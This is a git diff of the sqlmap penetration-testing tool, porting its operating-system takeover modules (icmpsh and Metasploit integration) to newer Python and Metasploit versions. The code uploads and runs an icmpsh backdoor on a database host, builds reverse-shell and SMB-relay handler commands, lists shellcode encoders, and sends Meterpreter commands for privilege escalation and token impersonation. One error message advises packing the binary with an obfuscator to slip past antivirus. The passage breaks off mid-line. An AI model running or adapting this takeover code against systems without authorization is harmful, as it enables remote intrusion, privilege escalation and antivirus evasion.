-158,23 +180,22 @@ def __initRunAs(self): msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg += "is disabled by default. This function is needed to execute " msg += "statements as another DBMS user since you provided the " - msg += "--dbms-creds switch. If you are DBA, you can enable it. " + msg += "option '--dbms-creds'. If you are DBA, you can enable it. " msg += "Do you want to enable it? [Y/n] " - choice = readInput(msg, default="Y") - if not choice or choice in ("y", "Y"): - expression = getSPQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") + if readInput(msg, default='Y', boolean=True): + expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression) # TODO: add support for PostgreSQL - #elif Backend.isDbms(DBMS.PGSQL): - # expression = getSPQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") - # inject.goStacked(expression) + # elif Backend.isDbms(DBMS.PGSQL): + # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") + # inject.goStacked(expression) - def initEnv(self, mandatory=True, detailed=False, web=False): - self.__initRunAs() + def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): + self._initRunAs() - if self.envInitialized: + if self.envInitialized and not forceInit: return if web: @@ -183,24 +204,30 @@ def initEnv(self, mandatory=True, detailed=False, web=False): self.checkDbmsOs(detailed) if mandatory and not self.isDba(): - warnMsg = "the functionality requested might not work because " - warnMsg += "the session user is not a database administrator" + warnMsg = "functionality requested probably does not work because " + warnMsg += "the current session user is not a database administrator" - if not conf.dCred and Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.PGSQL ): - warnMsg += ". You can try to provide --dbms-cred switch " + if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): + warnMsg += ". You can try to use option '--dbms-cred' " warnMsg += "to execute statements as a DBA user if you " warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" - logger.warn(warnMsg) + logger.warning(warnMsg) + + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + success = True + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + success = self.udfInjectSys() - if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): - self.udfInjectSys() + if success is not True: + msg = "unable to mount the operating system takeover" + raise SqlmapFilePathException(msg) elif Backend.isDbms(DBMS.MSSQL): if mandatory: self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) self.envInitialized = True diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index a631a97f58f..044394fc04a 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,15 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os +import re +import socket import time from extra.icmpsh.icmpsh_m import main as icmpshmaster - from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import normalizePath @@ -19,78 +20,121 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths +from lib.core.exception import SqlmapDataException - -class ICMPsh: +class ICMPsh(object): """ This class defines methods to call icmpsh for plugins. """ - def __initVars(self): + def _initVars(self): self.lhostStr = None self.rhostStr = None self.localIP = getLocalIP() - self.remoteIP = getRemoteIP() - self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe")) + self.remoteIP = getRemoteIP() or conf.hostname + self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) + + def _selectRhost(self): + address = None + message = "what is the back-end DBMS address? " + + if self.remoteIP: + message += "[Enter for '%s' (detected)] " % self.remoteIP - def __selectRhost(self): - message = "which is the back-end DBMS address? [%s] " % self.remoteIP - address = readInput(message, default=self.remoteIP) + while not address: + address = readInput(message, default=self.remoteIP) + + if conf.batch and not address: + raise SqlmapDataException("remote host address is missing") return address - def __selectLhost(self): - message = "which is the local address? [%s] " % self.localIP - address = readInput(message, default=self.localIP) + def _selectLhost(self): + address = None + message = "what is the local address? " + + if self.localIP: + message += "[Enter for '%s' (detected)] " % self.localIP + + valid = None + while not valid: + valid = True + address = readInput(message, default=self.localIP or "") + + try: + socket.inet_aton(address) + except socket.error: + valid = False + finally: + valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None + + if conf.batch and not address: + raise SqlmapDataException("local host address is missing") + elif address and not valid: + warnMsg = "invalid local host address" + logger.warning(warnMsg) return address - def __prepareIngredients(self, encode=True): - self.lhostStr = self.__selectLhost() - self.rhostStr = self.__selectRhost() + def _prepareIngredients(self, encode=True): + self.localIP = getattr(self, "localIP", None) + self.remoteIP = getattr(self, "remoteIP", None) + self.lhostStr = ICMPsh._selectLhost(self) + self.rhostStr = ICMPsh._selectRhost(self) - def __runIcmpshMaster(self): + def _runIcmpshMaster(self): infoMsg = "running icmpsh master locally" logger.info(infoMsg) icmpshmaster(self.lhostStr, self.rhostStr) - def __runIcmpshSlaveRemote(self): + def _runIcmpshSlaveRemote(self): infoMsg = "running icmpsh slave remotely" logger.info(infoMsg) - cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self.__icmpslaveRemote, self.lhostStr) + cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) self.execCmd(cmd, silent=True) def uploadIcmpshSlave(self, web=False): - self.__initVars() - self.__randStr = randomStr(lowercase=True) - self.__icmpslaveRemoteBase = "tmpi%s.exe" % self.__randStr - - if web: - self.__icmpslaveRemote = "%s/%s" % (self.webDirectory, self.__icmpslaveRemoteBase) - else: - self.__icmpslaveRemote = "%s/%s" % (conf.tmpPath, self.__icmpslaveRemoteBase) + ICMPsh._initVars(self) + self._randStr = randomStr(lowercase=True) + self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr - self.__icmpslaveRemote = ntToPosixSlashes(normalizePath(self.__icmpslaveRemote)) + self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) + self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) - logger.info("uploading icmpsh slave to '%s'" % self.__icmpslaveRemote) + logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) if web: - self.webFileUpload(self.__icmpslave, self.__icmpslaveRemote, self.webDirectory) + written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) + else: + written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) + + if written is not True: + errMsg = "there has been a problem uploading icmpsh, it " + errMsg += "looks like the binary file has not been written " + errMsg += "on the database underlying file system or an AV has " + errMsg += "flagged it as malicious and removed it. In such a case " + errMsg += "it is recommended to recompile icmpsh with slight " + errMsg += "modification to the source code or pack it with an " + errMsg += "obfuscator software" + logger.error(errMsg) + + return False else: - self.writeFile(self.__icmpslave, self.__icmpslaveRemote, "binary") + logger.info("icmpsh successfully uploaded") + return True def icmpPwn(self): - self.__prepareIngredients() - self.__runIcmpshSlaveRemote() - self.__runIcmpshMaster() + ICMPsh._prepareIngredients(self) + self._runIcmpshSlaveRemote() + self._runIcmpshMaster() debugMsg = "icmpsh master exited" logger.debug(debugMsg) time.sleep(1) - self.execCmd("taskkill /F /IM %s" % self.__icmpslaveRemoteBase, silent=True) + self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) time.sleep(1) - self.delRemoteFile(self.__icmpslaveRemote) + self.delRemoteFile(self._icmpslaveRemote) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 13d6ed5674f..d29dfae9af6 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,50 +1,65 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import codecs +from __future__ import print_function + +import errno import os import re +import select import sys +import tempfile import time -from select import select from subprocess import PIPE -from subprocess import Popen as execute +from extra.cloak.cloak import cloak +from extra.cloak.cloak import decloak from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP -from lib.core.common import getUnicode +from lib.core.common import isDigit from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes +from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import OS -from lib.core.exception import sqlmapDataException -from lib.core.exception import sqlmapFilePathException -from lib.core.settings import UNICODE_ENCODING +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.settings import IS_WIN +from lib.core.settings import METASPLOIT_SESSION_TIMEOUT +from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD -from lib.core.subprocessng import pollProcess -from lib.core.subprocessng import setNonBlocking +from lib.core.subprocessng import Popen as execute +from lib.core.subprocessng import send_all +from lib.core.subprocessng import recv_some +from thirdparty import six +if IS_WIN: + import msvcrt -class Metasploit: +class Metasploit(object): """ This class defines methods to call Metasploit for plugins. """ - def __initVars(self): + def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None @@ -53,68 +68,70 @@ def __initVars(self): self.encoderStr = None self.payloadConnStr = None self.localIP = getLocalIP() - self.remoteIP = getRemoteIP() - self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) - self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) - self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) - - self.__msfPayloadsList = { - "windows": { - 1: ( "Meterpreter (default)", "windows/meterpreter" ), - 2: ( "Shell", "windows/shell" ), - 3: ( "VNC", "windows/vncinject" ), - }, - "linux": { - 1: ( "Shell (default)", "linux/x86/shell" ), - 2: ( "Meterpreter (beta)", "linux/x86/meterpreter" ), - } - } - - self.__msfConnectionsList = { - "windows": { - 1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), - 2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ), - 3: ( "Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http" ), - 4: ( "Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https" ), - 5: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ) - }, - "linux": { - 1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), - 2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ), - } - } - - self.__msfEncodersList = { - "windows": { - 1: ( "No Encoder", "generic/none" ), - 2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ), - 3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ), - 4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ), - 5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ), - 6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ), - 7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ), - 8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ), - 9: ( "Non-Alpha Encoder", "x86/nonalpha" ), - 10: ( "Non-Upper Encoder", "x86/nonupper" ), - 11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ), - 12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ), - 13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ), - } - } - - self.__msfSMBPortsList = { - "windows": { - 1: ( "139/TCP", "139" ), - 2: ( "445/TCP (default)", "445" ), - } - } - - self.__portData = { - "bind": "remote port number", - "reverse": "local port number", - } - - def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): + self.remoteIP = getRemoteIP() or conf.hostname + self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else ""))) + self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else ""))) + self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else ""))) + self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else ""))) + self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else ""))) + + self._msfPayloadsList = { + "windows": { + 1: ("Meterpreter (default)", "windows/meterpreter"), + 2: ("Shell", "windows/shell"), + 3: ("VNC", "windows/vncinject"), + }, + "linux": { + 1: ("Shell (default)", "linux/x86/shell"), + 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), + } + } + + self._msfConnectionsList = { + "windows": { + 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), + 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), + 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), + 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), + 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), + }, + "linux": { + 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), + 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), + } + } + + self._msfEncodersList = { + "windows": { + 1: ("No Encoder", "generic/none"), + 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), + 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), + 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), + 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), + 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), + 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), + 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), + 9: ("Non-Alpha Encoder", "x86/nonalpha"), + 10: ("Non-Upper Encoder", "x86/nonupper"), + 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), + 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), + 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), + } + } + + self._msfSMBPortsList = { + "windows": { + 1: ("139/TCP", "139"), + 2: ("445/TCP (default)", "445"), + } + } + + self._portData = { + "bind": "remote port number", + "reverse": "local port number", + } + + def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: @@ -138,19 +155,8 @@ def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): choice = readInput(message, default="%d" % default) - if not choice: - if lst: - choice = getUnicode(default, UNICODE_ENCODING) - else: - return default - - elif not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") - return self.__skeletonSelection(msg, lst, maxValue, default) - - elif int(choice) > maxValue or int(choice) < 1: - logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) - return self.__skeletonSelection(msg, lst, maxValue, default) + if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1: + choice = default choice = int(choice) @@ -159,21 +165,21 @@ def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): return choice - def __selectSMBPort(self): - return self.__skeletonSelection("SMB port", self.__msfSMBPortsList) + def _selectSMBPort(self): + return self._skeletonSelection("SMB port", self._msfSMBPortsList) - def __selectEncoder(self, encode=True): + def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec - if isinstance(encode, basestring): + if isinstance(encode, six.string_types): return encode elif encode: - return self.__skeletonSelection("payload encoding", self.__msfEncodersList) + return self._skeletonSelection("payload encoding", self._msfEncodersList) - def __selectPayload(self): + def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " @@ -181,16 +187,16 @@ def __selectPayload(self): infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) - __payloadStr = "windows/meterpreter" + _payloadStr = "windows/meterpreter" else: - __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList) + _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) - if __payloadStr == "windows/vncinject": + if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " - debugMsg += "user, it is likely that the the VNC " + debugMsg += "user, it is likely that the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) @@ -200,7 +206,7 @@ def __selectPayload(self): warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" - logger.warn(warnMsg) + logger.warning(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True @@ -209,7 +215,7 @@ def __selectPayload(self): warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" - logger.warn(warnMsg) + logger.warning(warnMsg) if choose: message = "what do you want to do?\n" @@ -221,48 +227,45 @@ def __selectPayload(self): choice = readInput(message, default="2") if not choice or choice == "2": - __payloadStr = "windows/meterpreter" - + _payloadStr = "windows/meterpreter" break elif choice == "3": - __payloadStr = "windows/shell" - + _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): - logger.warn("beware that the VNC injection might not work") - + logger.warning("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break - elif not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") + elif not isDigit(choice): + logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: - logger.warn("invalid value, it must be 1 or 2") + logger.warning("invalid value, it must be 1 or 2") - if self.connectionStr.startswith("reverse_http") and __payloadStr != "windows/meterpreter": + if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" - logger.warn(warnMsg) + logger.warning(warnMsg) self.connectionStr = "reverse_tcp" - return __payloadStr + return _payloadStr - def __selectPort(self): - for connType, connStr in self.__portData.items(): + def _selectPort(self): + for connType, connStr in self._portData.items(): if self.connectionStr.startswith(connType): - return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) + return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) - def __selectRhost(self): + def _selectRhost(self): if self.connectionStr.startswith("bind"): - message = "which is the back-end DBMS address? [%s] " % self.remoteIP + message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: @@ -274,11 +277,11 @@ def __selectRhost(self): return None else: - raise sqlmapDataException, "unexpected connection type" + raise SqlmapDataException("unexpected connection type") - def __selectLhost(self): + def _selectLhost(self): if self.connectionStr.startswith("reverse"): - message = "which is the local address? [%s] " % self.localIP + message = "what is the local address? [Enter for '%s' (detected)] " % self.localIP address = readInput(message, default=self.localIP) if not address: @@ -290,104 +293,153 @@ def __selectLhost(self): return None else: - raise sqlmapDataException, "unexpected connection type" - - def __selectConnection(self): - return self.__skeletonSelection("connection type", self.__msfConnectionsList) - - def __prepareIngredients(self, encode=True): - self.connectionStr = self.__selectConnection() - self.lhostStr = self.__selectLhost() - self.rhostStr = self.__selectRhost() - self.portStr = self.__selectPort() - self.payloadStr = self.__selectPayload() - self.encoderStr = self.__selectEncoder(encode) + raise SqlmapDataException("unexpected connection type") + + def _selectConnection(self): + return self._skeletonSelection("connection type", self._msfConnectionsList) + + def _prepareIngredients(self, encode=True): + self.connectionStr = self._selectConnection() + self.lhostStr = self._selectLhost() + self.rhostStr = self._selectRhost() + self.portStr = self._selectPort() + self.payloadStr = self._selectPayload() + self.encoderStr = self._selectEncoder(encode) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) - def __forgeMsfCliCmd(self, exitfunc="process"): - self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) - self.__cliCmd += " EXITFUNC=%s" % exitfunc - self.__cliCmd += " LPORT=%s" % self.portStr + def _forgeMsfCliCmd(self, exitfunc="process"): + if kb.oldMsf: + self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) + self._cliCmd += " EXITFUNC=%s" % exitfunc + self._cliCmd += " LPORT=%s" % self.portStr - if self.connectionStr.startswith("bind"): - self.__cliCmd += " RHOST=%s" % self.rhostStr - elif self.connectionStr.startswith("reverse"): - self.__cliCmd += " LHOST=%s" % self.lhostStr + if self.connectionStr.startswith("bind"): + self._cliCmd += " RHOST=%s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += " LHOST=%s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") + + if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": + self._cliCmd += " DisableCourtesyShell=true" + + self._cliCmd += " E" else: - raise sqlmapDataException, "unexpected connection type" + self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) + self._cliCmd += "; set EXITFUNC %s" % exitfunc + self._cliCmd += "; set LPORT %s" % self.portStr + + if self.connectionStr.startswith("bind"): + self._cliCmd += "; set RHOST %s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += "; set LHOST %s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") - if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": - self.__cliCmd += " DisableCourtesyShell=true" + if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": + self._cliCmd += "; set DisableCourtesyShell true" - self.__cliCmd += " E" + self._cliCmd += "; exploit'" - def __forgeMsfCliCmdForSmbrelay(self): - self.__prepareIngredients(encode=False) + def _forgeMsfCliCmdForSmbrelay(self): + self._prepareIngredients(encode=False) - self.__cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) - self.__cliCmd += " EXITFUNC=thread" - self.__cliCmd += " LPORT=%s" % self.portStr - self.__cliCmd += " SRVHOST=%s" % self.lhostStr - self.__cliCmd += " SRVPORT=%s" % self.__selectSMBPort() + if kb.oldMsf: + self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) + self._cliCmd += " EXITFUNC=thread" + self._cliCmd += " LPORT=%s" % self.portStr + self._cliCmd += " SRVHOST=%s" % self.lhostStr + self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() - if self.connectionStr.startswith("bind"): - self.__cliCmd += " RHOST=%s" % self.rhostStr - elif self.connectionStr.startswith("reverse"): - self.__cliCmd += " LHOST=%s" % self.lhostStr + if self.connectionStr.startswith("bind"): + self._cliCmd += " RHOST=%s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += " LHOST=%s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") + + self._cliCmd += " E" else: - raise sqlmapDataException, "unexpected connection type" + self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) + self._cliCmd += "; set EXITFUNC thread" + self._cliCmd += "; set LPORT %s" % self.portStr + self._cliCmd += "; set SRVHOST %s" % self.lhostStr + self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort() + + if self.connectionStr.startswith("bind"): + self._cliCmd += "; set RHOST %s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += "; set LHOST %s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") - self.__cliCmd += " E" + self._cliCmd += "; exploit'" - def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): - self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr) - self.__payloadCmd += " EXITFUNC=%s" % exitfunc - self.__payloadCmd += " LPORT=%s" % self.portStr + def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): + if kb.oldMsf: + self._payloadCmd = self._msfPayload + else: + self._payloadCmd = "%s -p" % self._msfVenom + + self._payloadCmd += " %s" % self.payloadConnStr + self._payloadCmd += " EXITFUNC=%s" % exitfunc + self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): - self.__payloadCmd += " LHOST=%s" % self.lhostStr + self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): - raise sqlmapDataException, "unexpected connection type" + raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.LINUX) and conf.privEsc: - self.__payloadCmd += " PrependChrootBreak=true PrependSetuid=true" + self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" - if extra == "BufferRegister=EAX": - self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format) + if kb.oldMsf: + if extra == "BufferRegister=EAX": + self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) - if extra is not None: - self.__payloadCmd += " %s" % extra + if extra is not None: + self._payloadCmd += " %s" % extra + else: + self._payloadCmd += " X > \"%s\"" % outFile else: - self.__payloadCmd += " X > %s" % outFile + if extra == "BufferRegister=EAX": + self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) - def __runMsfCliSmbrelay(self): - self.__forgeMsfCliCmdForSmbrelay() + if extra is not None: + self._payloadCmd += " %s" % extra + + self._payloadCmd += " > \"%s\"" % outFile + else: + self._payloadCmd += " -f exe > \"%s\"" % outFile + + def _runMsfCliSmbrelay(self): + self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) - logger.debug("executing local command: %s" % self.__cliCmd) - self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + logger.debug("executing local command: %s" % self._cliCmd) + self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) - def __runMsfCli(self, exitfunc): - self.__forgeMsfCliCmd(exitfunc) + def _runMsfCli(self, exitfunc): + self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) - logger.debug("executing local command: %s" % self.__cliCmd) - self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + logger.debug("executing local command: %s" % self._cliCmd) + self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) - def __runMsfShellcodeRemote(self): + def _runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework shellcode " infoMsg += "remotely via UDF 'sys_bineval', please wait.." logger.info(infoMsg) self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") - def __runMsfShellcodeRemoteViaSexec(self): + def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) @@ -400,44 +452,45 @@ def __runMsfShellcodeRemoteViaSexec(self): self.execCmd(cmd, silent=True) - def __loadMetExtensions(self, proc, metSess): + def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return - proc.stdin.write("use espia\n") - proc.stdin.write("use incognito\n") - # This extension is loaded by default since Metasploit > 3.7 - #proc.stdin.write("use priv\n") - # This extension freezes the connection on 64-bit systems - #proc.stdin.write("use sniffer\n") - proc.stdin.write("sysinfo\n") - proc.stdin.write("getuid\n") + send_all(proc, "use espia\n") + send_all(proc, "use incognito\n") + + # This extension is loaded by default since Metasploit > 3.7: + # send_all(proc, "use priv\n") + + # This extension freezes the connection on 64-bit systems: + # send_all(proc, "use sniffer\n") + + send_all(proc, "sysinfo\n") + send_all(proc, "getuid\n") if conf.privEsc: - print + print() infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) - proc.stdin.write("getsystem\n") + send_all(proc, "getsystem\n") - infoMsg = "displaying the list of Access Tokens availables. " + infoMsg = "displaying the list of available Access Tokens. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) - proc.stdin.write("list_tokens -u\n") - proc.stdin.write("getuid\n") + send_all(proc, "list_tokens 